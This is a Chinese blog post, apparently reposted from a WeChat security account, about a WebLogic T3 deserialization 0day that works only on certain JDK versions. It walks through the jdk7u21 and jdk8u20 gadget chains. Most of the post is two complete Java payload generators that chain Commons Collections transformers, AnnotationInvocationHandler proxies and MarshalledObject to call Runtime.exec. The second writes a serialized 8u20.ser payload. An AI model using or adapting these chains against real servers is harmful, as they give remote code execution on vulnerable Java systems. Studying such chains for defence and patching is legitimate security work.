简述
过年啦,过年啦,终于可以把之前的概率0day写一下了,为啥叫概率0day嘞,是因为要求实在是有点苛刻了(jdk版本)。分析呢,可以看这篇文章
手动艾特宽字节安全
unicodeSec,公众号:宽字节安全某weblogic的T3反序列化0day分析
既然文章中写了有jdk8的事,那么必须整上。
jdk反序列化链
jdk历史上有两个反序列化链,一个是jdk7u21,一个是jdk8u20,首先看一下7u21,最主要的类就是AnnotationInvocationHandler
,接下来在equalsImpl
方法中会循环反射调用方法,而equalsImpl
会在invoke
方法中调用,所以最重要的点在于如何调用到invoke
方法中。已知动态代理会自动调用invoke
方法,那么只要将用到的类塞入代理中就可达到rce。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
可以看到当代理的方法为equals
参数长度为1并且为Object就可进入到equalsImpl
方法中,熟知的在hashmap存储中,会判断值是否相等,同样思考是否可以利用(可以思考为啥不能用)。通过这个思路,找到HashSet
,向下找到一个没有readobject方法的LinkedHashSet
类,还有一个需要绕过的点e.hash == hash && ((k = e.key) == key || key.equals(k))
,需要绕过hash相等,
是有了一个新的字符串"f5a5a608",由此构造代码(直接改造)
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(XmlLocation.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(XmlLocation.class, proxyMap);
MarshalledObject marshalledObject = new MarshalledObject(handler);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
Source proxy = Gadgets.createProxy(tempHandler, Source.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(marshalledObject);
set.add(proxy);
map.put(zeroHashCodeStr, marshalledObject);
serialize serialize = new serialize();
serialize.readObject(set);
由此cc链和MarshalledObject搭配的新jdk7u21就完成了,可以看一下官方修复,在readObject
中抛出了错误而不是直接返回。
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
//return; jdk7u20
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
虽然抛出了错误,但是在defaultReadObject
方法中就已经完成了反序列化操作。JRE8u20的漏洞作者提出一个新的利用点java.beans.beancontext.BeanContextSupport
,具体细节不做讲解。主要利用了:
https://github.com/QAX-A-Team/SerialWriter
稍微修改一下就可以成功利用与8u20的变形。
Serialization ser = new Serialization();
// Templates templates = makeTemplates("calc.exe");
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) construct.newInstance(XmlLocation.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) construct.newInstance(XmlLocation.class, proxyMap);
MarshalledObject marshalledObject = new MarshalledObject(invocationHandler);
HashMap map = new HashMap();
map.put("f5a5a608", marshalledObject);
TCObject handler = makeHandler(map, ser);
TCObject linkedHashset = new TCObject(ser);
TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
TCObject.ObjectData hashsetData = new TCObject.ObjectData();
hashsetData.addData(makeBeanContextSupport(handler, ser));
hashsetData.addData(10, true); // capacity
hashsetData.addData(1.0f, true); // loadFactor
hashsetData.addData(2, true); // size
hashsetData.addData(marshalledObject);
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
hashsetData.addData(proxy);
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
ser.addObject(linkedHashset);
ser.write("8u20.ser");
本文始发于微信公众号(白帽子飙车路):WebLogic概率0day的故事
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论